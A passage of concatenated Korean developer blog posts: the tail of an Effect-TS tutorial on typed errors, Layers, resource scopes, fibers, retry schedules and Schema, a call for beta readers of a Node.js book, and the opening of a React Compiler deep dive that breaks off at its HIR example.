const handled = pipe(
  getUser('123'),
  Effect.retry(Schedule.exponential('100 millis')),
  Effect.catchTag('NotFoundError', () => Effect.succeed(defaultUser)),
  Effect.timeout('5 seconds'),
)
```

### 구조화된 에러: Expected Error와 Defect

Effect는 에러를 두 종류로 구분한다. 이 구분은 단순한 관례가 아니라 타입 시스템에 내장되어 있다.

**Expected Error** (`E` 채널): `Effect.fail`로 생성하는 비즈니스 에러다. "사용자를 찾을 수 없음", "결제 실패" 같은 예상 가능한 실패를 타입으로 추적한다.

**Defect**: `Effect.die`로 생성하거나, 잡히지 않은 예외. 0으로 나누기, null 참조 같은 프로그래밍 버그다. `E` 타입에 나타나지 않으며 기본적으로 프로그램을 중단시킨다. Java의 checked vs unchecked exception과 유사한 구분이지만, union 타입 덕분에 checked exception의 "선언부 비대화" 문제가 발생하지 않는다.

에러 정의에는 `Data.TaggedError`를 쓴다. `_tag` 필드가 자동으로 추가되어 discriminated union(판별 유니온 — 공통 필드 값으로 타입을 구분하는 패턴)을 구성한다.

```typescript
import {Data} from 'effect'

class NotFoundError extends Data.TaggedError('NotFoundError')<{
  readonly id: string
}> {}

class NetworkError extends Data.TaggedError('NetworkError')<{
  readonly cause: unknown
}> {}

class ValidationError extends Data.TaggedError('ValidationError')<{
  readonly field: string
  readonly message: string
}> {}
```

에러 처리의 핵심은 `catchTag`와 `catchTags`다. 특정 에러만 선택적으로 처리하면, 처리한 에러가 타입에서 제거된다.

```typescript
// getUser의 타입: Effect<User, NotFoundError | NetworkError | ValidationError>

// catchTag: 특정 에러 하나를 처리
const withFallback = pipe(
  getUser('123'),
  Effect.catchTag('NotFoundError', (e) => Effect.succeed(defaultUser)),
)
// 타입: Effect<User, NetworkError | ValidationError>
// NotFoundError만 처리했으므로 나머지 에러는 그대로 남아있다

// catchTags: 여러 에러를 한 번에 처리
const withAllHandled = pipe(
  getUser('123'),
  Effect.catchTags({
    NotFoundError: (e) => Effect.succeed(defaultUser),
    NetworkError: () => Effect.retry(getUser('123'), Schedule.recurs(3)),
    ValidationError: (e) => Effect.fail(new BadRequestError({field: e.field})),
  }),
)
// 타입: Effect<User, BadRequestError>
// 원래의 세 에러가 모두 처리되고, 새로운 에러 하나로 변환됨
```

`mapError`로 에러를 변환할 수도 있다. 하위 모듈의 세부 에러를 상위 모듈의 추상 에러로 감싸는 패턴이 대표적이다.

```typescript
// 하위 모듈의 세부 에러를 상위 모듈 에러로 변환
const getOrder = (id: string) =>
  pipe(
    getOrderFromDb(id), // Effect<Order, DbConnectionError | DbQueryError>
    Effect.mapError((e) => new OrderServiceError({cause: e})),
  )
// 타입: Effect<Order, OrderServiceError>
```

### Layer와 의존성 주입

`R` 파라미터는 "이 계산을 실행하려면 무엇이 필요한가"를 타입으로 선언한다. 실제로 의존성을 제공하는 것이 `Layer`다.

서비스 정의부터 주입까지의 전체 흐름을 살펴보자.

```typescript
import {Effect, Context, Layer} from 'effect'

// 1. 서비스 인터페이스 정의
class UserRepository extends Context.Tag('UserRepository')<
  UserRepository,
  {
    readonly findById: (id: string) => Effect.Effect<User, NotFoundError>
    readonly save: (user: User) => Effect.Effect<void, DbError>
  }
>() {}

class EmailService extends Context.Tag('EmailService')<
  EmailService,
  {
    readonly send: (to: string, body: string) => Effect.Effect<void, EmailError>
  }
>() {}
```

```typescript
// 2. 서비스 사용 — 구현을 모른 채로 인터페이스만 참조
const registerUser = (input: RegisterInput) =>
  Effect.gen(function* () {
    const repo = yield* UserRepository
    const email = yield* EmailService

    const user = createUser(input)
    yield* repo.save(user)
    yield* email.send(user.email, 'Welcome!')
    return user
  })
// 타입: Effect<User, NotFoundError | DbError | EmailError, UserRepository | EmailService>
// R에 UserRepository | EmailService가 자동으로 추론된다
```

```typescript
// 3. 서비스 구현 — Layer로 정의
const UserRepositoryLive = Layer.succeed(UserRepository, {
  findById: (id) =>
    Effect.gen(function* () {
      const result = yield* queryDb(`SELECT * FROM users WHERE id = $1`, [id])
      if (!result) return yield* Effect.fail(new NotFoundError({id}))
      return result
    }),
  save: (user) => queryDb(`INSERT INTO users ...`, [user]),
})

const EmailServiceLive = Layer.succeed(EmailService, {
  send: (to, body) =>
    Effect.tryPromise({
      try: () => sendgrid.send({to, body}),
      catch: (e) => new EmailError({cause: e}),
    }),
})
```

```typescript
// 4. Layer 합성 및 프로그램 실행
const AppLayer = Layer.mergeAll(UserRepositoryLive, EmailServiceLive)

Effect.runPromise(
  registerUser({name: 'Alice', email: 'alice@example.com'}).pipe(
    Effect.provide(AppLayer),
  ),
)
```

**Layer 메모이제이션**: Layer의 중요한 특성은 **참조 동등성 기반 메모이제이션**이다. 같은 Layer 인스턴스가 의존성 그래프의 여러 곳에서 참조되면 한 번만 생성되고 공유된다.

```typescript
// DatabaseLayer를 모듈 수준에서 한 번 정의
const DatabaseLayer = Layer.scoped(
  Database,
  Effect.acquireRelease(connectToDatabase(), (conn) =>
    Effect.sync(() => conn.close()),
  ),
)

// UserRepositoryLayer와 OrderRepositoryLayer가 둘 다 DatabaseLayer에 의존해도
// 데이터베이스 연결은 한 번만 만들어진다
const AppLayer = Layer.mergeAll(UserRepositoryLayer, OrderRepositoryLayer).pipe(
  Layer.provide(DatabaseLayer),
)
```

이는 DI 컨테이너의 singleton scope와 동일한 동작이다. 다만 "참조 동등성"이므로, `makeDbLayer()`를 두 번 호출하면 서로 다른 인스턴스가 되어 각각 생성된다는 점에 주의해야 한다.

**테스트에서의 교체**: Layer 기반 DI의 진짜 장점은 테스트에서 드러난다.

```typescript
// 테스트용 Layer — 실제 DB, Email 없이 순수 함수로 동작
const UserRepositoryTest = Layer.succeed(UserRepository, {
  findById: (id) =>
    id === '1'
      ? Effect.succeed({id: '1', name: 'Test', email: 'test@test.com'})
      : Effect.fail(new NotFoundError({id})),
  save: () => Effect.void,
})

const EmailServiceTest = Layer.succeed(EmailService, {send: () => Effect.void})

const TestLayer = Layer.mergeAll(UserRepositoryTest, EmailServiceTest)

// 같은 비즈니스 로직, 다른 의존성
const result = await Effect.runPromise(
  registerUser(input).pipe(Effect.provide(TestLayer)),
)
```

### 리소스 관리: acquireRelease와 Scope

리소스(데이터베이스 커넥션, 파일 핸들, 네트워크 소켓 등)는 반드시 해제해야 한다. `try-finally`의 중첩 문제를 Effect는 `acquireRelease`로 해결한다.

```typescript
import {Effect} from 'effect'

// acquire(획득)와 release(해제)를 쌍으로 정의
const withDbConnection = Effect.acquireRelease(
  connectToDatabase(), // acquire
  (conn) => Effect.sync(() => conn.close()), // release — 반드시 실행됨
)

// 사용: Effect.scoped로 리소스의 수명을 관리
const program = Effect.scoped(
  Effect.gen(function* () {
    const conn = yield* withDbConnection
    const data = yield* queryDb(conn, 'SELECT ...')
    return data
  }),
)
// conn.close()는 성공이든 실패든 자동으로 호출된다
```

여러 리소스를 중첩하면 LIFO(후입선출) 순서로 해제된다. `try-finally` 중첩 없이 선형적으로 작성할 수 있다.

```typescript
const program = Effect.scoped(
  Effect.gen(function* () {
    const conn = yield* withDbConnection // 1번째 acquire
    const file = yield* withFileHandle // 2번째 acquire
    const lock = yield* withDistributedLock // 3번째 acquire

    yield* exportData(conn, file)
    // 해제 순서: lock → file → conn (LIFO)
  }),
)
```

### 구조적 동시성과 파이버

Effect의 동시성은 **파이버(Fiber)** 기반이며, **구조적(structured)**이다. 파이버란 OS 스레드보다 훨씬 가벼운 "가상 실행 단위"다. 하나의 스레드 위에서 여러 파이버가 협력적으로 스케줄링되므로, 수천 개를 동시에 돌려도 부담이 적다. Go의 goroutine이나 Kotlin의 coroutine과 비슷한 개념이다. "구조적"이라는 것은 부모-자식 관계가 있다는 뜻이다. 부모 이펙트가 종료되면 자식 파이버도 자동으로 정리되어, "잊힌 파이버"가 떠도는 문제가 발생하지 않는다.

```typescript
import {Effect, Fiber} from 'effect'

// Effect.all: 여러 이펙트를 병렬로 실행
const [user, orders, notifications] =
  yield *
  Effect.all([getUser(id), getOrders(id), getNotifications(id)], {
    concurrency: 'unbounded',
  })
// 하나가 실패하면 나머지는 자동으로 중단된다

// concurrency 옵션으로 동시 실행 수를 제한할 수도 있다
const results =
  yield *
  Effect.all(urls.map(fetchUrl), {
    concurrency: 5, // 최대 5개씩 병렬 실행
  })
```

더 세밀한 제어가 필요하면 `fork`로 파이버를 직접 관리한다.

```typescript
const program = Effect.gen(function* () {
  // fork: 백그라운드에서 실행, Fiber 핸들을 반환
  const fiber = yield* Effect.fork(longRunningTask)

  // 다른 작업을 하면서...
  yield* doSomethingElse()

  // 필요할 때 결과를 가져오거나 취소
  const result = yield* Fiber.join(fiber) // 완료 대기
  // 또는
  yield* Fiber.interrupt(fiber) // 취소
})
```

### Schedule: 선언적 재시도 정책

재시도 정책은 `Schedule`이라는 추상화로 표현한다. Schedule은 독립적인 값이므로, 조합해서 복잡한 정책을 만들 수 있다.

```typescript
import {Effect, Schedule} from 'effect'

// 기본 스케줄들
Schedule.recurs(3) // 최대 3회 재시도
Schedule.spaced('1 second') // 1초 간격으로 반복
Schedule.exponential('100 millis') // 지수 백오프: 100ms → 200ms → 400ms → ...

// 이펙트에 재시도 정책 적용
const resilientFetch = pipe(
  fetchData(url),
  Effect.retry(
    Schedule.exponential('100 millis').pipe(
      Schedule.intersect(Schedule.recurs(3)),
    ),
  ),
)
```

Schedule의 세 가지 조합 방식은 각각 의미론이 다르다.

```typescript
// intersect: 두 스케줄 모두 "계속"이어야 진행. 더 긴 지연 사용.
// → "지수 백오프로 재시도하되, 최대 3회까지만"
Schedule.exponential('100 millis').pipe(Schedule.intersect(Schedule.recurs(3)))
// 100ms → 200ms → 400ms → 종료

// union: 하나라도 "계속"이면 진행. 더 짧은 지연 사용.
// → "3회 재시도 후에도 1초마다 계속 재시도"
Schedule.recurs(3).pipe(Schedule.union(Schedule.spaced('1 second')))

// andThen: 첫 번째를 끝낸 후 두 번째로 전환.
// → "처음 3회는 빠르게, 그 후에는 느리게"
Schedule.recurs(3).pipe(Schedule.andThen(Schedule.spaced('5 seconds')))
```

`intersect`는 교집합(둘 다 동의해야 계속)이고, `union`은 합집합(하나라도 동의하면 계속)이다.

### Schema: 외부 경계의 타입 안전성

Effect 생태계의 `Schema` 모듈은 [Zod](https://npmx.dev/package/zod)와 유사한 역할을 하지만, Effect 파이프라인과 깊이 통합되어 있다. 핵심 차이는 **양방향 변환(encode/decode)**을 일급으로 지원한다는 점이다.

```typescript
import {Schema} from 'effect'

const User = Schema.Struct({
  id: Schema.String,
  name: Schema.String,
  age: Schema.Number.pipe(Schema.between(0, 150)),
  createdAt: Schema.DateFromString, // 문자열 ↔ Date 양방향 변환
})

// TypeScript 타입 자동 추출
type User = typeof User.Type
// { id: string; name: string; age: number; createdAt: Date }

// decode: 외부 데이터 → 내부 타입 (유효성 검증 포함)
const parseUser = Schema.decodeUnknown(User)
// encode: 내부 타입 → 외부 데이터 (직렬화)
const serializeUser = Schema.encode(User)
```

Zod는 "외부 데이터를 파싱한다"에 초점을 맞추지만, Schema는 "파싱과 직렬화를 하나의 스키마로 정의한다"를 지향한다. `createdAt` 필드를 보면, decode 시에는 `"2024-01-01"` 문자열을 `Date` 객체로 변환하고, encode 시에는 `Date` 객체를 다시 문자열로 변환한다. API 응답 파싱과 API 요청 직렬화에 같은 스키마를 쓸 수 있다.

`Schema.decodeUnknown`의 반환 타입이 `Effect`이므로, 에러 처리가 Effect 파이프라인에 자연스럽게 합류한다.

```typescript
const handleRequest = (raw: unknown) =>
  Effect.gen(function* () {
    // 파싱 실패 시 ParseError가 E 채널에 자동으로 추가됨
    const user = yield* Schema.decodeUnknown(User)(raw)
    return yield* processUser(user)
  })
```

### Promise 생태계와의 상호운용

Effect-TS는 기존 Promise 기반 코드와의 상호운용을 염두에 두고 설계되었다. 경계(boundary)에서 Effect와 Promise 사이를 전환할 수 있다.

```typescript
// Promise → Effect: 기존 라이브러리를 Effect 세계로 가져오기
const fetchUser = (id: string) =>
  Effect.tryPromise({
    try: () => fetch(`/api/users/${id}`).then((r) => r.json()),
    catch: (e) => new NetworkError({cause: e}),
  })
// 타입: Effect<unknown, NetworkError>
// catch로 에러 타입을 명시할 수 있다

// Effect → Promise: Effect 세계에서 나가기
const main = async () => {
  const user = await Effect.runPromise(program)
  // 또는 에러를 Exit으로 받아 직접 처리
  const exit = await Effect.runPromiseExit(program)
}
```

이 경계 API 덕분에 기존 코드베이스에 Effect를 점진적으로 도입할 수 있다. 기존 Express 핸들러의 내부 로직만 Effect로 작성하고, 핸들러의 진입/출구에서 `Effect.tryPromise`와 `Effect.runPromise`로 전환하는 식이다.

## Promise와의 비교: 무엇을 얻고, 무엇을 잃는가

Effect가 Promise에 비해 얻는 것을 정리하면 이렇다.

| 관점        | Promise                    | Effect                        |
| ----------- | -------------------------- | ----------------------------- |
| 에러 타입   | `unknown` (추적 불가)      | 제네릭 `E` (컴파일 타임 추적) |
| 의존성      | 암묵적 (import, 전역 상태) | 명시적 `R` 파라미터           |
| 실행 시점   | 생성 즉시 실행 (eager)     | 실행 지시 시 실행 (lazy)      |
| 취소        | AbortController (수동)     | 구조적 동시성 (자동)          |
| 리소스 관리 | try-finally (수동)         | acquireRelease (자동)         |
| 재시도      | 직접 구현                  | Schedule (선언적)             |

**lazy evaluation**은 특히 중요하다. Promise는 생성과 동시에 실행되지만, Effect는 "실행 계획"일 뿐이다. 이 특성 덕분에 이펙트를 자유롭게 조합하고, 재시도하고, 스케줄링할 수 있다.

반면 잃는 것도 있다.

**학습 곡선**: `pipe`, `Effect.gen`, `Layer`, `Context.Tag`, `Schema` 등의 개념을 모두 익혀야 한다. 팀 전체가 이 패러다임에 동의하고 학습해야 하는 비용이 크다.

**function coloring**: 앞서 설명한 대로, 모든 effectful 함수가 `Effect` 타입을 반환해야 한다. 기존 코드베이스에 점진적으로 도입할 수는 있지만(`Effect.tryPromise`로 Promise를 감싸고, `Effect.runPromise`로 다시 꺼내는 방식), Effect 영역과 비-Effect 영역의 경계가 항상 존재한다.

**생태계 크기**: npm의 대부분의 라이브러리는 Promise 기반이다. 이들을 Effect로 감싸는 보일러플레이트가 필요하다.

솔직히 말하면, 이 trade-off가 정당화되는 시점은 **시스템 복잡도가 일정 수준을 넘었을 때**다. 간단한 CRUD API라면 Promise와 `try-catch`로 충분하다. 하지만 여러 외부 서비스와 통신하고, 복잡한 에러 복구 로직이 필요하고, 의존성 그래프가 깊어지는 시스템이라면, "에러가 타입으로 추적되고, 의존성이 명시되고, 리소스가 자동으로 관리되는" 이점이 학습 비용을 상쇄한다.

## 마치며

"side effect를 타입으로 추적한다"는 아이디어는 Moggi(1991)의 모나드에서 시작해, Plotkin과 Pretnar(2009)의 algebraic effect handler로 정교화되었고, Koka와 OCaml 5에서 언어 수준으로 구현되었다.

Effect-TS는 이 계보의 끝에 있지만, 중요한 선택을 했다. **진짜 algebraic effect가 아니라 모나드 기반 시뮬레이션**이라는 것이다. TypeScript 런타임이 continuation을 지원하지 않으므로, perform/handle/resume 대신 `flatMap` 체이닝과 `Effect<A, E, R>` 타입 파라미터로 effect를 추적한다. Function coloring 문제가 존재하고, resumable exception은 불가능하다.

그럼에도 Effect-TS가 가치 있는 이유는, **TypeScript의 타입 시스템만으로 할 수 있는 최대치를 보여주기 때문**이다. 에러가 타입으로 추적되고, 의존성이 컴파일 타임에 검증되고, 리소스 생명주기가 자동 관리된다. TS+ 컴파일러 포크의 실패 이후 "순수 라이브러리로, 기존 도구와 호환되게"라는 실용적 방향을 택한 것도 현명한 판단이었다.

그렇다면 실무에서 도입할 가치가 있을까? 솔직히 말하면 **대부분의 프로젝트에는 과하다.** React/Next.js 기반의 일반적인 프론트엔드 앱이나 간단한 CRUD API라면, `try-catch`와 Promise로 충분하다. 에러 타입 추적이 필요하면 [`neverthrow`](https://npmx.dev/package/neverthrow) 같은 가벼운 Result 타입 라이브러리로 80%는 해결되고, DI가 필요하면 NestJS의 DI나 [`tsyringe`](https://npmx.dev/package/tsyringe)로 충분하다. Effect-TS의 학습 곡선은 가파르고, 팀 전체가 이 패러다임에 동의하고 학습해야 하는 비용은 결코 작지 않다.

Effect-TS가 진가를 발휘하는 건 **시스템 복잡도가 일정 수준을 넘었을 때**다. 여러 외부 서비스(DB, Redis, 메시지큐, 외부 API)를 오케스트레이션해야 하고, 에러 복구 로직이 비즈니스의 핵심이며(결제, 주문 처리 등), 의존성 그래프가 깊은 백엔드 시스템이라면 — 에러 추적, DI, 리소스 관리, 재시도 정책이 하나의 일관된 시스템으로 통합되는 이점이 학습 비용을 상쇄할 수 있다. 결국 "에러를 타입으로, 의존성을 타입으로, 리소스를 타입으로" 추적하는 것이 **우리 프로젝트에 정말 필요한가**가 판단 기준이다.

한편으로는 JavaScript 언어 자체의 진화도 지켜볼 필요가 있다. `using` 선언(Explicit Resource Management)은 동기 버전이 이미 Stage 4로 표준에 포함되었고(TypeScript는 5.2부터 지원), 패턴 매칭 제안도 진행 중이다. 언어 수준의 지원이 늘어날수록, Effect-TS 같은 라이브러리가 직접 해결해야 하는 영역은 줄어들 것이다. Effect-TS는 훌륭한 기술적 성취이지만, 모든 프로젝트의 정답은 아니다. 도구의 가치는 그 도구가 해결하는 문제의 크기에 비례한다.

## 참고

- [Notions of Computation and Monads - Moggi (1991)](https://www.cs.cmu.edu/~crary/819-f09/Moggi91.pdf)
- [Handlers of Algebraic Effects - Plotkin & Pretnar (2009)](https://homepages.inf.ed.ac.uk/gdp/publications/Effect_Handlers.pdf)
- [Algebraic Effects for the Rest of Us - Dan Abramov](https://overreacted.io/algebraic-effects-for-the-rest-of-us/)
- [OCaml 5 Effect Handlers](https://ocaml.org/manual/5.4/effects.html)
- [Algebraic Effects for Functional Programming - Koka (Daan Leijen)](https://www.microsoft.com/en-us/research/wp-content/uploads/2016/08/algeff-tr-2016-v2.pdf)
- [ZIO History - John De Goes](https://degoes.net/articles/zio-history)
- [TS+ Postmortem](https://effect.website/blog/ts-plus-postmortem/)
- [Effect 공식 문서](https://effect.website/docs/getting-started/introduction/)
- [Effect Patterns Hub](https://github.com/PaulJPhilp/EffectPatterns)
- [Exploring Effect in TypeScript - Tweag](https://www.tweag.io/blog/2024-11-07-typescript-effect/)

---

Source: https://yceffort.kr/2026/02/nodejs-deep-dive-beta-reader.md
Title: Node.js Deep Dive (가제) 베타 리더를 모십니다.
Description: 많관부22
Date: 2026-02-19
Tags: nodejs, javascript

네번째 책을 쓰고 있습니다. 이번에는 Node.js 입니다.

V8의 hidden class가 깨지면 성능에 무슨 일이 생기는지, `AsyncLocalStorage`가 `async/await` 체인을 어떻게 추적하는지, Prototype Pollution이 실제로 어떻게 RCE까지 이어지는지 — 이런 질문들에 코드와 소스 레벨에서 답을 찾아보는 책입니다.

현재 전체 10개 파트 중 Part 1 ~ 5 집필이 완료되었고, Part 6 ~ 10을 작성 중입니다. 현재까지 작성된 분량만으로도 전작 `<<Web Performance Deep Dive>>`의 약 65% 수준이라, 완성되면 전작보다 분량이 많아질 것으로 예상됩니다.

## 목차 (변경될 수 있음)

| 파트   | 주제                                                                                                  | 진행 |
| ------ | ----------------------------------------------------------------------------------------------------- | ---- |
| Part 0 | 시작하기 전에                                                                                         | ✅   |
| Part 1 | Node.js 런타임의 심장 — V8, libuv, 이벤트 루프, Task Queue, 네이티브 바인딩                           | ✅   |
| Part 2 | 모듈 시스템 — CommonJS, ESM, Dual Package Hazard, Custom Loaders                                      | ✅   |
| Part 3 | 메모리와 스트림 — V8 GC, Buffer, Stream 배압, Web Streams                                             | ✅   |
| Part 4 | 네트워크 — TCP/IP, HTTP 프로토콜의 진화, TLS/SSL, DNS, WebSocket                                      | ✅   |
| Part 5 | 보안 — Permission Model, vm 모듈, Prototype Pollution, 비밀번호·토큰 검증                             | ✅   |
| Part 6 | 동시성 — Worker Threads, AsyncLocalStorage, Child Process, 동시성 제어 패턴                           | ✅   |
| Part 7 | 에러와 프로세스 — 에러 전파, uncaughtException, Cluster, 시그널, Graceful Shutdown                    | 🚧   |
| Part 8 | 성능 진단 — 이벤트 루프 지연 측정, CPU 프로파일링, 메모리 누수 진단, async_hooks, diagnostics_channel | 🚧   |
| Part 9 | 배포 환경 — 컨테이너, 서버리스, Edge Runtime                                                          | 🚧   |

> 집필 과정에서 목차가 변경될 수 있습니다.

## 이번 베타 리딩은 조금 다릅니다

전작 `<<Web Performance Deep Dive>>`에서는 베타 리딩 기간과 출판 일정이 겹치면서 소중한 의견을 일부밖에 반영하지 못했습니다. 그게 꽤 아쉬웠습니다.

이번에는 **베타 리더분들의 피드백을 모두 꼼꼼히 반영한 다음에 출판사에 원고를 넘길 예정**입니다. 일정에 쫓겨서 의견을 흘려보내는 일은 없고자 합니다. 그래서 **모든 장에 걸쳐 의견을 남겨주시면** 감사하겠습니다.

- private github 에 초대 드리겠습니다. 리딩 기간은 **2026년 3월 1일 ~ 5월 31일**이며, 완성된 부분부터 순차적으로 한 장씩 읽어가면서 의견을 남겨주시면 됩니다.
- 정해진 양식은 없습니다. 자유롭게 해당 github 이슈에 적어주세요.
  - 다만 저자가 F 감성의 소유자라 공격적인 의견보다는 따뜻한 응원의 말씀으로 부탁드립니다. 😉
- 책 앞에 실릴 베타리더 감상평도 4 ~ 5줄 정도로 작성 부탁드립니다.
  - 편집부에서 검수해주시니 너무 공들이지 않으셔도 됩니다.
  - 생성형 AI는 사용하지 말아주세요. 글에서 사람 냄새가 필요합니다 😭

## 특전

- 책 앞 쪽에 베타 리더의 메시지가 실려서 출판됩니다.
- 출판 시 해당 책을 선물로 한 권 드리겠습니다.
- 제가 들어드릴 수 있는 선에서 부탁 하나 들어드리겠습니다. 🙏

## 지원

- **자격**: Node.js를 사용해본 경험이 있는 중고급 개발자라면 누구나. 연차는 상관 없습니다.
- **방법**: root@yceffort.kr 에 `[베타리더신청]` 말머리로 메일을 보내주세요.
  - 소속과 하시는 일
  - 이력서

  > 베타 리더 소개에 어떤 분인지 적어야 해서 수집하게 되었습니다. 그 이외의 용도로는 사용하지 않습니다.

- **모집 기간**: 상시 모집
- **인원**: 최대 10명

## FAQ

- **Node.js 경험이 많지 않은데 지원해도 되나요?** — 네, 상관 없습니다. Express/Nest 정도만 써보셨어도 괜찮습니다.
- **모든 장을 다 읽어야 하나요?** — 네, 가능하면 모든 장을 읽어주세요. 저도 공부하면서 쓴 책이라 실수가 있을 수 있어서, 같이 꼼꼼히 봐주시면 감사하겠습니다.
- **출판 예정 시기는?** — 2026년 내로 예상하고 있습니다.
- **전작 베타 리더였는데 또 지원해도 되나요?** — 네, 상관 없습니다.
- **책 샘플이 보고 싶어요!** — [여기](/2026/02/nodejs-deep-dive-sample)를 참고해주세요.

감사합니다 🙇🏻‍♂️

---

Source: https://yceffort.kr/2026/02/react-compiler-deep-dive.md
Title: React Compiler 딥다이브: 원리부터 결과물까지
Description: React Compiler가 코드를 어떻게 분석하고, 무엇을 만들어내는지 파이프라인부터 결과물까지 깊이 파헤쳐본다.
Date: 2026-02-19
Tags: react, frontend

## Table of Contents

## 서론

React 개발에서 `useMemo`, `useCallback`, `React.memo`를 올바르게 사용하는 것은 오랫동안 골치 아픈 문제였다. 의존성 배열을 빠뜨리면 stale closure(오래된 값을 참조하는 클로저), 하나라도 잘못 감싸면 전체 메모이제이션이 무의미해지는 전염성, 그리고 "이걸 메모이제이션해야 하나?"를 매번 고민해야 하는 인지 부하까지.

React Compiler는 이 수동 메모이제이션의 고통을 빌드 타임에 자동으로 해결한다. Babel(JavaScript 코드를 변환하는 트랜스파일러) 플러그인 형태로 동작하며, 컴포넌트와 훅을 정적 분석(코드를 실행하지 않고 구조만 보고 분석하는 것)해서 최적의 캐싱 코드를 자동 생성한다. Meta에서 프로덕션에 적용하고 있으며, 2025년 10월 v1.0이 릴리스된 stable 도구다.

이 글에서는 컴파일 파이프라인의 각 단계, 실제 변환 결과물, 프로덕션 성능 데이터, 그리고 Signals 기반 접근법과의 비교까지 다뤄본다.

## 수동 메모이제이션의 문제

React Compiler가 해결하려는 문제를 간단히 짚고 넘어가자. React는 state가 변경되면 해당 컴포넌트와 **모든 자식 컴포넌트를 다시 실행**한다. 이를 방지하기 위해 `React.memo`, `useMemo`, `useCallback`을 사용하는데, 이 수동 메모이제이션에는 잘 알려진 함정들이 있다.

```tsx
const ExpensiveList = memo(function ExpensiveList({data, onClick}) {
  const processed = useMemo(() => expensiveProcessing(data), [data])

  const handleClick = useCallback(
    (item) => {
      onClick(item.id)
    },
    [onClick],
  )

  return (
    <ul>
      {processed.map((item) => (
        <Item key={item.id} onClick={() => handleClick(item)} />
      ))}
    </ul>
  )
})
```

이 코드는 최적화가 잘 된 것 같지만, `onClick={() => handleClick(item)}`에서 매 렌더링마다 새로운 화살표 함수가 생성된다. `handleClick`을 `useCallback`으로 감싼 의미가 없어지는 것이다. 이처럼 수동 메모이제이션은 **전염성**(하나라도 빠지면 전체가 무효), **의존성 관리 실수**(stale closure), **인지 부하**(매번 판단 필요) 문제를 안고 있다.

React Compiler는 이 모든 판단을 자동화한다. 개발자는 그냥 코드를 작성하면 된다.

```tsx
function ExpensiveList({data, onClick}) {
  const processed = expensiveProcessing(data)
  const handleClick = (item) => onClick(item.id)

  return (
    <ul>
      {processed.map((item) => (
        <Item key={item.id} onClick={() => handleClick(item)} />
      ))}
    </ul>
  )
}
```

## 설계 목표와 원칙

React Compiler의 [공식 설계 문서](https://github.com/facebook/react/blob/main/compiler/docs/DESIGN_GOALS.md)를 보면, 목표가 명확하다.

**핵심 목표:**

1. **기본적으로 빠른 성능**: 업데이트 시 리렌더링 범위를 자동으로 제한
2. **초기 로드 영향 최소화**: 코드 크기 증가와 오버헤드를 최소화
3. **프로그래밍 모델 유지**: `memo`, `useMemo`, `useCallback` 없이도 React의 선언적 모델을 그대로 사용
4. **관용적 코드 지원**: React 규칙을 따르는 일반적인 코드에서 "그냥 동작"
5. **예측 가능성**: 개발자가 컴파일러의 동작에 대한 직관을 형성할 수 있어야 함

**명시적 비목표:**

- **완벽한 최적화는 추구하지 않는다.** 모든 불필요한 재계산을 제거하려면 런타임 추적이 필요하고, 이는 코드 크기와 성능에 부정적 영향을 미친다.
- React 규칙을 위반하는 코드, 클래스 컴포넌트, `eval()` 같은 동적 코드는 지원하지 않는다.

**두 가지 핵심 설계 원칙:**

1. **고수준 출력**: 논리 연산(`a ?? b`)을 if문으로 변환하지 않고, JSX도 원래 형태를 보존한다. 디버깅 편의성을 위한 결정이다.
2. **고수준 중간 표현(HIR)**: 내부적으로도 소스 코드의 구조를 최대한 보존하는 IR을 사용한다.

## 컴파일 파이프라인

이제 핵심이다. React Compiler의 내부 동작을 단계별로 살펴보자.

컴파일러가 하는 일을 한 문장으로 요약하면 이렇다: **"이 값이 이전 렌더링과 달라졌는가?"를 판단하는 코드를 자동으로 삽입한다.** 이를 위해 컴파일러는 우리가 작성한 코드를 분석하기 좋은 형태로 바꾸고(1\~4단계), 각 값의 특성을 파악한 뒤(5\~7단계), 어떤 값들을 묶어서 캐시할지 결정하고(8단계), 최종 코드를 출력한다(9단계).

[React Compiler Playground](https://playground.react.dev/)에서 "Show Internals"를 활성화하면 각 단계의 출력을 직접 확인할 수 있다. 전체 파이프라인은 무려 **44단계**에 달하지만, 크게 보면 위의 흐름이다.

이 글에서는 주요 단계를 중심으로, 다음 예시 코드가 각 단계에서 어떻게 변환되는지 추적한다.

```tsx
function List({items}) {
  const [selItem, setSelItem] = useState(null)
  const [sort, setSort] = useState(0)

  const pItems = processItems(items)
  const listItems = pItems.map((item) => <li>{item}</li>)
  return <ul>{listItems}</ul>
}
```

### 1\~4단계: 코드를 분석하기 좋은 형태로 변환

#### 1단계: AST 파싱과 컴파일 대상 식별

먼저 우리가 작성한 JavaScript/TypeScript 코드를 컴퓨터가 이해할 수 있는 구조로 바꿔야 한다. Babel이 소스 코드를 파싱하여 AST(Abstract Syntax Tree)를 생성한다. AST란 코드의 구조를 트리 형태의 데이터로 표현한 것이다.

```mermaid
graph TD
    FD["FunctionDeclaration<br/>'List'"]
    FD --> Params["params: ObjectPattern<br/>{ items }"]
    FD --> Body["body: BlockStatement"]
    Body --> S1["useState(null)"]
    Body --> S2["useState(0)"]
    Body --> S3["processItems(items)"]
    Body --> S4["pItems.map(...)"]
    Body --> S5["Return: JSX &lt;ul&gt;"]
```

컴파일러는 이 AST에서 React 컴포넌트(JSX를 반환하는 함수)와 커스텀 훅(`use`로 시작하는 함수)을 식별하여 컴파일 대상으로 선정한다. `'use no memo'` 지시자로 특정 컴포넌트의 컴파일을 제외할 수도 있다.

#### 2단계: Lowering — AST를 HIR로 변환

AST는 코드의 구조를 보여주지만, "이 코드가 어떤 순서로 실행되는가?"를 파악하기엔 불편하다. 그래서 컴파일러는 AST를 좀 더 분석에 적합한 형태로 변환한다. Lowering이란 고수준 표현을 좀 더 분석하기 좋은 저수준 표현으로 "내리는" 과정이다. 여기서는 Babel AST를 **HIR**(High-level Intermediate Representation, 고수준 중간 표현)로 변환한다. IR(중간 표현)이란 소스 코드와 최종 출력 사이에 존재하는 컴파일러 내부 데이터 구조를 말한다. React Compiler의 HIR은 코드를 **제어 흐름 그래프**(Control Flow Graph — 코드의 실행 경로를 블록과 화살표로 표현한 그래프)로 나타내되, JSX나 논리 연산 같은 고수준 구조를 보존한다.

위 `List` 컴포넌트의 HIR은 개념적으로 이런 형태다:

```text
function List
bb0 (block):
  [1] $0 = Destructure items from params
  [2] $1 = Call useState(null)         // selItem, setSelItem
  [3] $2 = Call useState(0)            // sort, setSort
  [4] $3 = Call processItems($0)       // pItems
  [5] $4 = Function (item) => JSX <li>{item}</li>
  [6] $5 = MethodCall $3.map($4)       // listItems
  [7] $6 = JSX <ul>{$5}</ul>
  [8] Return $6
```

